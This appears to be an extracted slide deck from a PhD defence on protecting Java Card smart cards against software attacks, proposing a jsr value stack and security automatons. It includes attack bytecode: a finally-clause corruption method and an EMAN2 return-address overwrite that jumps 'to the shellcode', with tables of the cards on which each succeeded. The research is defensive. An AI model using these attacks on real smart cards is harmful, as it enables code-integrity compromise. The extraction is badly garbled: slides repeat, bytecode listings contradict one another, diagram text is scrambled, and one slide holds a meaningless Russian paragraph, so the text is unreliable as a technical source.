- The Java 8 Virtual Machine specification defines basic ideas:
  - Each instruction **keeps track** of the list of **jsr** targets needed to reach that instruction.
  - When executing the **ret** instruction, there must be only **one possible subroutine** from which the instruction can be returning.

- How to include that in the JCVM?
Preventing any finally-clause Corruption

- The Java 8 Virtual Machine specification defines basic ideas:
  - Each instruction **keeps track** of the list of `jsr` targets needed to reach that instruction.
  - When executing the `ret` instruction, there must be only **one possible subroutine** from which the instruction can be returning.

- How to include that in the JCVM?

- **Solution**: a `jsr` value stack.
Preventing any finally-clause Corruption (Cont.)

```
short jsrAttack () {
    01 // flags: 0 max_stack : 1
    11 // nargs: 1 max_locals: 1
    /*0x53*/  L0: jsr L2
    /*0x56*/  L1: sspush 0xCAFE
    /*0x59*/   sreturn
    /*0x5A*/   sspush 0xBEEF
    /*0x5D*/   sreturn
    /*0x5E*/  L2: astore_1
    /*0x5F*/   sinc 0x1, 0x4
    /*0x62*/   ret 1 // -> L1
}
```

PC = 0x53
short jsrAttack () {
  01 // flags: 0 max_stack : 1
  11 // nargs: 1 max_locals: 1
/*0x53*/ L0: jsr L2
/*0x56*/ L1: sspush 0xCAFE
/*0x59*/ sreturn
/*0x5A*/ sspush 0xBEEF
/*0x5D*/ sreturn
⇒ /*0x5E*/ L2: astore_1
/*0x5F*/ sinc 0x1, 0x4
/*0x62*/ ret 1 // -> L1
}

PC = 0x5E

⇒ 0x56 (Return Address)

Header data

@this (Applet)

jsr value stack
Preventing any finally-clause Corruption (Cont.)

```java
short jsrAttack () {
    // flags: 0 max_stack : 1
    // nargs: 1 max_locals: 1
    /*0x53*/ L0: jsr L2
    /*0x56*/ L1: sspush 0xCAFE
    /*0x59*/ sreturn
    /*0x5A*/ sspush 0xBEEF
    /*0x5D*/ sreturn
    /*0x5E*/ L2: astore_1
    /*0x5F*/ sinc 0x1, 0x4
    /*0x62*/ ret 1 // -> L1
}
```

PC = 0x5F

```
<table>
<thead>
<tr>
<th>TOS</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x56 (ReturnAddress)</td>
</tr>
<tr>
<td>@this (Applet)</td>
</tr>
</tbody>
</table>
```

Guillaume BOUFFARD  A Generic Approach for Protecting Java Card™ Smart Card Against Software Attacks
short jsrAttack () {
    01 // flags: 0 max_stack: 1
    11 // nargs: 1 max_locals: 1
    /*0x53*/  L0: jsr L2
    /*0x56*/  L1: sspush 0xCAFE
    /*0x59*/  sreturn
    /*0x5A*/  sspush 0xBEEF
    /*0x5D*/  sreturn
    /*0x5E*/  L2: astore_1
    /*0x5F*/  sinc 0x1, 0x4
    ⇒ /*0x62*/  ret 1 // -> L1
}

\[ \text{PC} = 0x62 \]
Preventing any finally-clause Corruption (Cont.)

```
short jsrAttack () {
    01 // flags: 0 max_stack : 1
    11 // nargs: 1 max_locals: 1
    /*0x53*/ L0: jsr L2
    /*0x56*/ L1: sspush 0xCAFE
    /*0x59*/ sreturn
    /*0x5A*/ sspush 0xBEEF
    /*0x5D*/ sreturn
    /*0x5E*/ L2: astore_1
    /*0x5F*/ sinc 0x1, 0x4
    ⇒ /*0x62*/ ret 1 // -> L1
}
```

PC = 0x62

- TOS
- Header data
- 0x59 (ReturnAddress)
- @this (Applet)
- 0x56

jsr value stack
Preventing any finally-clause Corruption (Cont.)

```java
short jsrAttack () {
    01 // flags: 0 max_stack : 1
    11 // nargs: 1 max_locals: 1
    /*0x53*/ L0: jsr L2
    /*0x56*/ L1: sspush 0xCAFE
    /*0x59*/ sreturn
    /*0x5A*/ sspush 0xBEEF
    /*0x5D*/ sreturn
    /*0x5E*/ L2: astore_1
    /*0x5F*/ sinc 0x1, 0x4
    */0x62*/ ret 1 // -> L1
}
```

```
PC = 0x62
```

**Attack detected!**
How to Protect the Execution Flow?

▶ Presented attacks:
  ○ EMAN2: cheating the return address;
  ○ finally-clause corruption: direct modification of the program counter;

▶ Each of them sets up the Java program counter;

▶ How to ensure the execution flow?
Protecting the Execution Flow

- **Direct modification:**
  - Integrity → can be bypassed when the JPC is updated by the JCVM;

- **Transient fault:**
  - Executing twice the same piece of code;
  - It is a very expensive solution;

- **Solution:** dynamically check the applet’s CFG:
  - Séré’s countermeasures [Séré’s PhD thesis, 2010] based on Field of bits, Basic block method or Path check technique;
  - This kind of countermeasure can be **computed in the card**?
Security Automatons and Execution Monitor

Principle

- Detecting a deviant behaviour ⇒ safety property “nothing bad happens”;
- Preventing some attacks: several partial traces of events are defined:
  - Property can be encoded by a finite state automaton;
- Schneider automatons: \((Q, q_0, \delta)\), where \(Q\) is a set of states, \(q_0\) is the initial state and \(\delta\) is a transition function \((Q \cdot I) \rightarrow 2^Q)\);
- The CFG can be computed during the loading process;
- When interpreting a byte code, the monitor checks:
  - If the transition generates an authorized partial trace;
  - If not, it takes an appropriate countermeasure.
Security Automatons and Execution Monitor (Cont.)

**Principle**

![Transition Diagram]

- **Security automaton** (computed inside the card)
  - \(q_0\) is the start state.
  - Transitions: \(\delta_1, \delta_3, \delta_5\)
  - States: \(q_0, q_1, q_2\)

- **State matrix** (binary implementation of the security automaton)

<table>
<thead>
<tr>
<th>State</th>
<th>(q_0)</th>
<th>(q_1)</th>
<th>(q_2)</th>
</tr>
</thead>
<tbody>
<tr>
<td>(q_0)</td>
<td>(\delta_1)</td>
<td>(\delta_3)</td>
<td></td>
</tr>
<tr>
<td>(q_1)</td>
<td>(\delta_5)</td>
<td>(\delta_4)</td>
<td></td>
</tr>
<tr>
<td>(q_2)</td>
<td></td>
<td>(\delta_2)</td>
<td></td>
</tr>
</tbody>
</table>

- \[Bouffard et al., SSCC 2013\], \[Bouffard et al., SAR-SSI 2013\] and extended in \[Bouffard et al., IJTMCC 2014\].
protected ProtocolPayment (byte[] buffer, short offset, byte length) {
    A[0] = 0; // initialisation of array A
    for (byte j = 0; j < buffer[(byte)(offset+12)]; j++) {
        D[j] = 0; // initialisation of array D
    }
    pin = new OwnerPIN((byte) TRY_LIMIT, (byte) MAX_PIN_SIZE);
    // Initialisation of pin
    pin.update(myPin, (short) START_OFFSET, (byte) myPin.length);
    register(); // registering this instance
} // source: (Girard et al., CRiSIS 2010)
Security Automaton in Practice

```java
protected Protocolpayment (byte[] buffer, short offset, byte length) {
    A[0] = 0; // initialisation of array A
    for (byte j = 0; j < buffer[(byte)(offset+12)]; j++) {
        D[j] = 0; // initialisation of array D
    }
    pin = new OwnerPIN((byte) TRY_LIMIT, (byte) MAX_PIN_SIZE);
    // Initialisation of pin
    pin.update(myPin, (short) START_OFFSET, (byte) myPin.length);
    register(); // registering this instance
} // source: (Girard et al., CRiSIS 2010)
```

To create the security automaton:

- Local view of the method’s CFG;
- The set $S$ contains the element of a language which expresses the control flow integrity policy:
  - ifeq, ifne, goto, invoke, return, etc.;
  - plus the dummy instruction join representing any other instruction pointed by a label.
Security Automaton included in the JCVM

/*0x03*/ L0: aload_0
/*0x04*/ invokespecial 6
/*0x2E*/ goto L2

/*0x42*/ if_scmplt L1

/*0x3A*/ L2: sload_3
...
/*0x56*/ invokevirtual 7
/*0x5A*/ invokevirtual 8
/*0x5D*/ return

/*0x4A*/ L3: aload_0
...
/*0x4B*/ invokespecial 5
...
/*0x56*/ invokevirtual 7
...
/*0x5A*/ invokevirtual 8
/*0x5D*/ return

The trace recognised would be:
(goto, (if_scmplt, join), !if_scmplt, return)
Security Automaton included in the JCVM

The trace recognised would be:

```
(start 0) goto 2 !if_scmplt
if_scmplt join
```

Guillaume BOUFFARD  A Generic Approach for Protecting Java Card™ Smart Card Against Software Attacks

37/55
Security Automaton included in the JCVM

/*0x03*/ L0: aload_0
/*0x04*/ invokespecial 6
/*0x2E*/ goto L2
/*0x3A*/ L2:
sload_3
... /*0x42*/ if_scmplt L1
/*0x30*/ L1: getfield_a_this 1
... /*0x39*/ sstore_3
/*0x4A*/ L3:
aload_0
... /*0x4B*/ invokespecial 5
... /*0x56*/ invokevirtual 7
... /*0x5A*/ invokevirtual 8
/*0x5D*/ return

The trace recognised would be:

(start, goto, !if_scmplt, join, !if_scmplt, return)
Security Automaton included in the JCVM

```
/*0x03*/ L0: aload_0
/*0x04*/ invokespecial 6
/*0x2E*/ goto L2
/*0x3A*/ L2:
sload_3
/*0x42*/ if_scmplt L1
/*0x4A*/ L3:
aload_0
...  
/*0x4B*/ invokespecial 5
...  
/*0x56*/ invokevirtual 7
...  
/*0x5A*/ invokevirtual 8
/*0x5D*/ return
```

The trace recognised would be:
```
(goto, (if_scmplt, join), !if_scmplt, return)
```
Security Automaton included in the JCVM

The trace recognised would be:

```
(goto, (if_scmplt, join), !if_scmplt, return)
```
Security Automaton included in the JCVM

/*0x03*/ L0: aload_0
/*0x04*/ invokespecial 6
/*0x2E*/ goto L2
/*0x3A*/ L2:
sload_3
... /*0x42*/ if_scmplt L1
/*0x30*/ L1: getfield_a_this 1
... /*0x39*/ sstore_3
/*0x4A*/ L3: aload_0
... /*0x4B*/ invokespecial 5
... /*0x56*/ invokevirtual 7
... /*0x5A*/ invokevirtual 8
/*0x5D*/ return

The trace recognised would be:
(goto, (if_scmplt, join), !if_scmplt, return)
Security Automaton included in the JCVM

The trace recognised would be: 
(goto, (if_scmplt, join), !if_scmplt, return)

Guillaume BOUFFARD
A Generic Approach for Protecting Java Card™ Smart Card Against Software Attacks
Security Automaton included in the JCVM

\[
\begin{align*}
/*0x03*/ & \ L0: \ \text{aload\_0} \\
/*0x04*/ & \ \text{invokespecial 6} \\
/*0x2E*/ & \ \text{goto L2} \\
/*0x0A*/ & \ L2: \ \text{sload\_3} \\
/*0x42*/ & \ \text{if\_scmplt L1} \\
/*0x30*/ & \ L1: \ \text{getfield\_a\_this 1} \\
/*0x39*/ & \ \text{sstore\_3} \\
/*0x4A*/ & \ L3: \ \text{aload\_0} \\
/*0x4B*/ & \ \text{invokespecial 5} \\
/*0x56*/ & \ \text{invokevirtual 7} \\
/*0x5A*/ & \ \text{invokevirtual 8} \\
/*0x5D*/ & \ \text{return} \\
\end{align*}
\]

The trace recognised would be:
\((\text{goto}, (\text{if\_scmplt}, \text{join}), \text{!if\_scmplt}, \text{return}))

Guillaume BOUFFARD
A Generic Approach for Protecting Java Card™ Smart Card Against Software Attacks
Security Automaton included in the JCVM

start → 0 → goto 2 → !if_scmplt 3

1

L0: aload_0
L2: sload_3
L1: getfield_a_this 1

0x03*/
0x04*/
0x2E*/
0x3A*/
0x30*/
0x42*/
0x4A*/
0x4B*/
0x56*/
0x5A*/
0x5D*/

0x0*/
0x4*/
0x2E*/
0x3A*/
0x30*/
0x42*/
0x4A*/
0x4B*/
0x56*/
0x5A*/
0x5D*/

invoke special 6
goto L2
invoke special 5
invoke virtual 7
invoke virtual 8
return

The trace recognised would be:

(goto, (if_scmplt, join), !if_scmplt, return)
Security Automaton included in the JCVM

/*0x03*/ L0: aload_0
/*0x04*/ invokespecial 6
/*0x2E*/ goto L2

/*0x0A*/ L2: sload_3
...*/0x42*/ if_scmplt L1
/*0x30*/ L1: getfield_a_this 1
... /*0x39*/ sstore_3

/*0x4A*/ L3: aload_0
... /*0x4B*/ invokespecial 5
... /*0x56*/ invokevirtual 7
... /*0x5A*/ invokevirtual 8
/*0x5D*/ return

The trace recognised would be: (goto, (if_scmplt, join, !if_scmplt, return))
Security Automaton included in the JCVM

The trace recognised would be:

```java
L0: aload_0
invokespecial 6
goto L2

L1: getfield_a_this 1
...
if_scmplt L1

L2: sload_3
...
if_scmplt L1

L3: astore_0
...
invokespecial 5
...
invokevirtual 7
...
invokevirtual 8
return
```

Graph representation:

- Start at 0
- Go to 2 via goto
- If_scmplt to 3
- If_scmplt to 1
- Join back to 0
Security Automaton included in the JCVM

/*0x03*/ L0: aload_0
/*0x04*/ invokespecial 6
/*0x2E*/ goto L2

/*0x3A*/ L2: sload_3
/*0x42*/ if_scmplt L1
/*0x30*/ L1: getfield_a_this 1
/*0x39*/ sstore_3
/*0x4A*/ L3: aload_0
/*0x4B*/ invokespecial 5
/*0x56*/ invokevirtual 7
/*0x5A*/ invokevirtual 8
/*0x5D*/ return

The trace recognised would be:
(goto, (if_scmplt, join), !if_scmplt, return)

Guillaume BOUFFARD
A Generic Approach for Protecting Java CardTM Smart Card Against Software Attacks
Security Automaton included in the JCVM

The trace recognised would be:

\((\text{goto}, (\text{if\_scmplt}, \text{join}), \text{!if\_scmplt}, \text{return}))\)
Security Automaton included in the JCVM

The trace recognised would be:

\[
\text{start} \xrightarrow{\text{goto}} 0 \xrightarrow{\text{if} \_ \text{scmplt}} 1 \xrightarrow{\text{join}} 2 \xrightarrow{\text{if} \_ \text{scmplt}} 3
\]

 самых важных задач, которые могут вызывать разработчиков. Например, это можно сделать, чтобы обеспечить гибкость и вместе с тем не делиться чистоту на разработку, чтобы обеспечить гибкость и вместе с тем не делиться чистоту на разработку.
Security Automaton included in the JCVM

```java
/*0x03*/ L0: aload_0
/*0x04*/ invokespecial 6
/*0x2E*/ goto L2

/*0x3A*/ L2: sload_3
...
/*0x42*/ if_scmplt L1

/*0x30*/ L1: getfield_a_this 1
...
/*0x39*/ sstore_3

/*0x4A*/ L3: aload_0
...
/*0x4B*/ invokespecial 5
...
/*0x56*/ invokevirtual 7
...
/*0x5A*/ invokevirtual 8
/*0x5D*/ return
```

The trace recognised would be:

```
(goto, (if_scmplt, join), !if_scmplt, return)
```
Security Automaton included in the JCVM

/*0x03*/ L0: astore_0
/*0x04*/ invokespecial 6
goto L2

/*0x3A*/ L2: sload_3
... if_scmplt L1
/*0x42*/

/*0x30*/ L1: getfield_a_this 1
... sstore_3

/*0x4A*/ L3: astore_0
... invokespecial 5
... invokevirtual 7
... invokevirtual 8
/*0x5D*/ return

The trace recognised would be:
(goto, (if_scmplt, join)*, !if_scmplt, return)
Security Automaton included in the JCVM (Cont.)

![Automaton Diagram]

Diagram showing the flow of execution with transitions labeled with instructions such as `invokespecial`, `goto`, `if_scmplt`, `join`, `return`, etc.
Security Automaton included in the JCVM (Cont.)

<table>
<thead>
<tr>
<th>$\delta$</th>
<th>$q_0$</th>
<th>$q_1$</th>
<th>$q_2$</th>
<th>$q_3$</th>
<th>$q_4$</th>
<th>$q_5$</th>
<th>$q_6$</th>
<th>$q_7$</th>
</tr>
</thead>
<tbody>
<tr>
<td>invokespecial 6</td>
<td></td>
<td>$q_1$</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>goto</td>
<td></td>
<td></td>
<td>$q_2$</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>join</td>
<td></td>
<td></td>
<td></td>
<td>$q_3,4$</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>if_scmplt</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>$q_5$</td>
<td></td>
<td></td>
</tr>
<tr>
<td>invokespecial 5</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>$q_6$</td>
<td></td>
</tr>
<tr>
<td>invokevirtual 7</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>$q_7$</td>
</tr>
<tr>
<td>invokevirtual 8</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>return</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>$+$</td>
</tr>
</tbody>
</table>
The Security Automaton

- The execution flow is checked by the security automaton upon a finite state machine;
- Each transition is verified by the execution monitor;
- The CFG can be automatically computed by the loading process;
- The CFG can be encoded upon a sparse matrix → optimised solution to store the CFG
- The JCVM and the loader should be modified to handle automatons.
Outline

Introduction
  Smart Card
  Java Card Technology
  Attacks on Java Card

Contribution
  Fault Tree Analysis
  Smart Card Vulnerability Analysis using Fault Tree Analysis
  Corrupting the Java Card’s Control Flow
  Security Automatons to Protect the Java Card Control Flow

Experimental Results
  Corrupting the Execution Flow
  The Security Automatons

Conclusion and Future Works
## Experimental Results

<table>
<thead>
<tr>
<th>Reference</th>
<th>Java Card</th>
<th>GP</th>
<th>Characteristics</th>
</tr>
</thead>
<tbody>
<tr>
<td>a-21a</td>
<td>2.1.1</td>
<td>2.0.1</td>
<td>256 kB EEPROM, SIM card</td>
</tr>
<tr>
<td>a-21b</td>
<td>2.1.1</td>
<td>2.0.1</td>
<td>Same as a-21a plus RSA</td>
</tr>
<tr>
<td>a-22a</td>
<td>2.2</td>
<td>2.1</td>
<td>64 kB EEPROM, RSA</td>
</tr>
<tr>
<td>a-22b</td>
<td>2.1.1</td>
<td>2.0.1</td>
<td>32 kB EEPROM, dual interface, RSA</td>
</tr>
<tr>
<td>a-22c</td>
<td>2.2.1</td>
<td>2.1.1</td>
<td>36 kB EEPROM,</td>
</tr>
<tr>
<td>b-21a</td>
<td>2.1.1</td>
<td>2.1.2</td>
<td>16 kB EEPROM, dual interface</td>
</tr>
<tr>
<td>b-22a</td>
<td>2.1.1</td>
<td>2.0.1</td>
<td>16 kB EEPROM, hardware DES</td>
</tr>
<tr>
<td>b-22b</td>
<td>2.2.1</td>
<td>2.1.1</td>
<td>72 kB EEPROM, dual interface</td>
</tr>
<tr>
<td>c-22a</td>
<td>2.1.1</td>
<td>2.0.1</td>
<td>64 kB EEPROM, RSA</td>
</tr>
<tr>
<td>c-22b</td>
<td>2.2</td>
<td>2.1.1</td>
<td>64 kB EEPROM, dual interface, RSA</td>
</tr>
<tr>
<td>c-22c</td>
<td>2.2</td>
<td>2.1.1</td>
<td>72 kB EEPROM, dual interface, RSA</td>
</tr>
<tr>
<td>d-21</td>
<td>2.1</td>
<td>2.0.1</td>
<td>32 kB EEPROM, RSA</td>
</tr>
<tr>
<td>d-22</td>
<td>2.2.1</td>
<td>2.1.1</td>
<td>16 kB EEPROM</td>
</tr>
<tr>
<td>e-22</td>
<td>2.2</td>
<td>2.1</td>
<td>72 kB EEPROM, RSA</td>
</tr>
</tbody>
</table>
Developed Tools

- **CapMap**
  - Java-framework;
  - Provides reading and modification of CAP files;
  - Correcting CAP file interdependencies.

- **OPAL**
  - Java-Library and GUI;
  - Supports Global Platform 2.x specification;
  - Open-source project (available on Bitbucket)
Experimental Results: EMAN2
Characterisation of the Stack Implementation

<table>
<thead>
<tr>
<th>Reference</th>
<th>Header size</th>
<th>Return Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>a-21a</td>
<td>2 entries</td>
<td>+2</td>
</tr>
<tr>
<td>a-21b</td>
<td>2 entries</td>
<td>+2</td>
</tr>
<tr>
<td>a-22a</td>
<td>2 entries</td>
<td>+2</td>
</tr>
<tr>
<td>a-22b</td>
<td>3 entries</td>
<td>+1</td>
</tr>
<tr>
<td>a-22c</td>
<td>3 entries</td>
<td>+1</td>
</tr>
<tr>
<td>d-22</td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>e-22</td>
<td>X</td>
<td>X</td>
</tr>
</tbody>
</table>
Experimental Results: EMAN2

Characterisation of the Stack Implementation

<table>
<thead>
<tr>
<th>Reference</th>
<th>Header size</th>
<th>Return Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>a-21a</td>
<td>2 entries</td>
<td>+2</td>
</tr>
<tr>
<td>a-21b</td>
<td>2 entries</td>
<td>+2</td>
</tr>
<tr>
<td>a-22a</td>
<td>2 entries</td>
<td>+2</td>
</tr>
<tr>
<td>a-22b</td>
<td>3 entries</td>
<td>+1</td>
</tr>
<tr>
<td>a-22c</td>
<td>3 entries</td>
<td>+1</td>
</tr>
<tr>
<td>d-22</td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>e-22</td>
<td>X</td>
<td>X</td>
</tr>
</tbody>
</table>
Experimental Results: EMAN2

Characterisation of the Stack Implementation

<table>
<thead>
<tr>
<th>Reference</th>
<th>Header size</th>
<th>Return Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>a-21a</td>
<td>2 entries</td>
<td>+2</td>
</tr>
<tr>
<td>a-21b</td>
<td>2 entries</td>
<td>+2</td>
</tr>
<tr>
<td>a-22a</td>
<td>2 entries</td>
<td>+2</td>
</tr>
<tr>
<td>a-22b</td>
<td>3 entries</td>
<td>+1</td>
</tr>
<tr>
<td>a-22c</td>
<td>3 entries</td>
<td>+1</td>
</tr>
<tr>
<td>d-22</td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>e-22</td>
<td>X</td>
<td>X</td>
</tr>
</tbody>
</table>
Experimental Results: EMAN2

The Attack

```java
short setReturnAddress(short new_address) {
    01 // flags: 2 max_stack : 1
    20 // nargs: 2 max_locals: 0
    aload_1 // pushing the new_address value
    sstore Y // Overwriting the return address
        // with the new_address parameter
    return // jumping to the shellcode ;-)
}
```

<table>
<thead>
<tr>
<th>Reference</th>
<th>Header size</th>
<th>Y (Return Address)</th>
<th>EMAN2</th>
</tr>
</thead>
<tbody>
<tr>
<td>a-21a</td>
<td>2 entries</td>
<td>nargs+max_locals+2</td>
<td>✓</td>
</tr>
<tr>
<td>a-21b</td>
<td>2 entries</td>
<td>nargs+max_locals+2</td>
<td>✓</td>
</tr>
<tr>
<td>a-22a</td>
<td>2 entries</td>
<td>nargs+max_locals+2</td>
<td>✓</td>
</tr>
<tr>
<td>a-22b</td>
<td>3 entries</td>
<td>nargs+max_locals+1</td>
<td>✓</td>
</tr>
<tr>
<td>a-22c</td>
<td>3 entries</td>
<td>nargs+max_locals+1</td>
<td>✓</td>
</tr>
<tr>
<td>d-22</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>e-22</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
</tbody>
</table>
Experimental Results: finally-Clause Corruption

```java
short jsrAttack () {
    01 // flags: 0 max_stack : 1
    11 // nargs: 1 max_locals: 1
    /*0x53*/ L0: jsr L1
    /*0x56*/ L2: sspush 0xCAFE
    /*0x59*/ sreturn
    /*0x5A*/ L3: sspush 0xBEEF
    /*0x5D*/ sreturn
    /*0x5E*/ L1: astore_1
    /*0x5F*/ sinc 0x1, 0x4
    /*0x62*/ ret 1 // -> L3
}
```

<table>
<thead>
<tr>
<th>Reference</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>a-21a</td>
<td>✔</td>
</tr>
<tr>
<td>a-21b</td>
<td>✔</td>
</tr>
<tr>
<td>a-22a</td>
<td>✔</td>
</tr>
<tr>
<td>a-22b</td>
<td>✔</td>
</tr>
<tr>
<td>a-22c</td>
<td>✔</td>
</tr>
<tr>
<td>b-21a</td>
<td>✔</td>
</tr>
<tr>
<td>b-22a</td>
<td>✔</td>
</tr>
<tr>
<td>b-22b</td>
<td>✔</td>
</tr>
<tr>
<td>c-22a</td>
<td>✔</td>
</tr>
<tr>
<td>c-22b</td>
<td>✔</td>
</tr>
<tr>
<td>c-22c</td>
<td>✔</td>
</tr>
<tr>
<td>d-21</td>
<td>✔</td>
</tr>
<tr>
<td>d-22</td>
<td>✔</td>
</tr>
<tr>
<td>e-22</td>
<td>✔</td>
</tr>
</tbody>
</table>
## Experimental Results: Comparison

<table>
<thead>
<tr>
<th>Reference</th>
<th>EMAN2</th>
<th>finally-Clause Corruption</th>
</tr>
</thead>
<tbody>
<tr>
<td>a-21a</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>a-21b</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>a-22a</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>a-22b</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>a-22c</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>b-21a</td>
<td>-</td>
<td>✓</td>
</tr>
<tr>
<td>b-22a</td>
<td>-</td>
<td>✓</td>
</tr>
<tr>
<td>b-22b</td>
<td>-</td>
<td>✓</td>
</tr>
<tr>
<td>c-22a</td>
<td>-</td>
<td>✓</td>
</tr>
<tr>
<td>c-22b</td>
<td>-</td>
<td>✓</td>
</tr>
<tr>
<td>c-22c</td>
<td>-</td>
<td>✓</td>
</tr>
<tr>
<td>d-21</td>
<td>-</td>
<td>✓</td>
</tr>
<tr>
<td>d-22</td>
<td>x</td>
<td>✓</td>
</tr>
<tr>
<td>e-22</td>
<td>x</td>
<td>✓</td>
</tr>
</tbody>
</table>
Experimental Results: The Security Automatons

- A modification of the JCVM is required;
- The loading process computes the state matrix:
  - Processing time depends on the CFG granularity;
  - The state matrix is stored in the EEPROM;
- During the execution, the execution monitor checks the transition:
  - \texttt{if	extunderscore scmplt}: 21\% 
  - General case: 5,13\%
    - 45 on 184 instructions are overloaded
  - Real case: 1,58\%
    - 7 on 93 instructions are overloaded
Outline

Introduction
Smart Card
Java Card Technology
Attacks on Java Card

Contribution
Fault Tree Analysis
Smart Card Vulnerability Analysis using Fault Tree Analysis
Corrupting the Java Card’s Control Flow
Security Automatons to Protect the Java Card Control Flow

Experimental Results
Corrupting the Execution Flow
The Security Automatons

Conclusion and Future Works
This thesis aimed at designing efficient and affordable countermeasure using a top-down approach;

It is based on the Fault Tree Analysis which this approach aims at being generic;

We identified major undesirable events:

- We discovered new attack paths, someones are generic;
- And introduced high level-countermeasures.
We focused on the **code integrity**:
- Modification of the control flow;
- Corruption of the Java Card Linker [Hamadouche et al., SAR-SSI 2012], [Razafindralambo et al., SNDS 2012] and [Bouffard et al., CRiSIS 2013];

Each evaluated attacks succeeded on different cards
- Bottom-up approach?
- We wear a white hat;

Our approach aims at helping card manufacturers to clearly identify the assets to protect.
Common Criteria and the Fault Tree Analysis

Owners wish to minimise value that may be imposed to reduce that may be possessed by may be aware of leading to that exploit increase that to to Assets wish to abuse and/or may damage

Common Criteria for Information Technology Security Evaluation
Common Criteria and the Fault Tree Analysis

Code integrity's corruption

- Execution of a malicious code
  - Executed code is not the loaded one
  - Executed code is not the stored one

Frame Corruption
- Return address modification
- Context corruption
- Confusing invoker's state

Code desynchronisation
- Corrupting the branching instructions
- Faulty table jumping operations
- Modifying finally clause
- Fooling the exception mechanism
- Invoking an unexpected function
- Type confusion

Control flow corruption
- Faulty table jumping operations
- Modifying finally clause
- Fooling the exception mechanism
- Invoking an unexpected function
- Type confusion

RA

Owner wish to minimise
- Countermeasures to reduce that may be possessed
- Vulnerabilities that may be reduced by

Threat agents
- give rise to Threats
- wish to abuse and/or may damage

Assets

Risk
- to increase that exploit
- leading to

Guillaume BOUFFARD  A Generic Approach for Protecting Java Card™ Smart Card Against Software Attacks

52/55
Common Criteria and the Fault Tree Analysis

- **Code integrity's corruption**
  - Execution of a malicious code
    - Executed code is not the loaded one
    - Executed code is not the stored one

- **Frame Corruption**
  - Return address modification
  - Context corruption
  - Confusing invoker's state

- **Code desynchronisation**
  - Corrupting the branching instructions
  - Faulty table jumping operations

- **Control flow corruption**
  - Modifying finally clause
  - Fooling the exception mechanism
  - Invoking an unexpected function
  - Type confusion

**Owners**
- wish to minimise
  - impose Countermeasures
    - that may be reduced by
  - may be aware of Vulnerabilities
    - leading to Risk
      - that increase to Assets
        - wish to abuse and/or may damage

**Threat agents**
- give rise to Threats
  - leading to Risk
  - that exploit Vulnerabilities
  - may be aware of Countermeasures
  - that may be reduced by Owners
Common Criteria and the Fault Tree Analysis

- Code integrity's corruption
  - Execution of a malicious code
    - Frame Corruption
      - Return address modification
    - Context corruption
    - Confusing invoker's state
    - Code desynchronisation
    - Control flow corruption
      - Corrupting the branching instructions
      - Faulty table jumping operations
      - Modifying finally clause
      - Fooling the exception mechanism
      - Invoking an unexpected function
      - Type confusion

- Frame Corruption
- Context corruption
- Confusing invoker's state
- Corrupting the branching instructions
- Faulty table jumping operations
- Modifying finally clause
- Fooling the exception mechanism
- Invoking an unexpected function
- Type confusion

Owners wish to minimise vulnerability to reduce that may be reduced by may be aware of that may possess leading to that exploit giving rise to that increase to

Risk

Vulnerabilities

Countermeasures

Assets

Threats

Threat agents

Owners wish to minimise

Guillaume BOUFFARD  A Generic Approach for Protecting Java Card™ Smart Card Against Software Attacks
Common Criteria and the Fault Tree Analysis

Code integrity's corruption

- Execution of a malicious code
  - Executed code is not the loaded one
  - Executed code is not the stored one

Frame Corruption
- Return address modification
- Context corruption
- Confusing invoker's state

Code desynchronisation
- Corrupting the branching instructions
- Faulty table jumping operations
- Modifying finally clause
- Fooling the exception mechanism
- Invoking an unexpected function
- Type confusion

Control flow corruption
- Faulty table jumping operations
- Corrupting the branching instructions

RA

Owners
- wish to minimise
- impose
- Countermeasures
  - that may be reduced by
  - may be aware of
- Vulnerabilities
  - that may possess
  - leading to
  - Risk
    - that increase
    - to
    - Threats
      - give rise to
      - Assets
        - wish to abuse and/or may damage
Common Criteria and the Fault Tree Analysis

- Code integrity’s corruption
  - Execution of a malicious code
  - Executed code is not the loaded one
  - Executed code is not the stored one

- Security Automatons
  - Frame Corruption
  - Code desynchronisation
  - Control flow corruption

- Owners wish to minimise value
  - impose Countermeasures to reduce that may be reduced by that may possess
  - may be aware of Vulnerabilities leading to Risk
  - that exploit that increase to

- Threat agents give rise to Threatswish to abuse and/or may damage to Assets

- Owners wish to minimise value
  - impose Countermeasures to reduce that may be reduced by that may possess
  - may be aware of Vulnerabilities leading to Risk
  - that exploit that increase to

- Threat agents give rise to Threats wish to abuse and/or may damage to Assets

Guillaume BOUFFARD A Generic Approach for Protecting Java Card™ Smart Card Against Software Attacks
Future Works

- The dissertation focused on *How to execute ill-formed code?*
  - To do: checking the *installation process*;
- Analysing the code *data integrity tree* and the code and data *confidentiality trees*;
- Designing *dynamic FTA* to take into account events’ order;
- Considering *quantification* of the probability for an attacker to reach his objective:
  - Given time or overall mean time for the attack to overcome it;
  - On-going work based on Boolean logic Driven Markov Process.
Thank you for your attention!
Questions?
During my PhD thesis, I have co-written 25 publications:

- 2 book chapters;
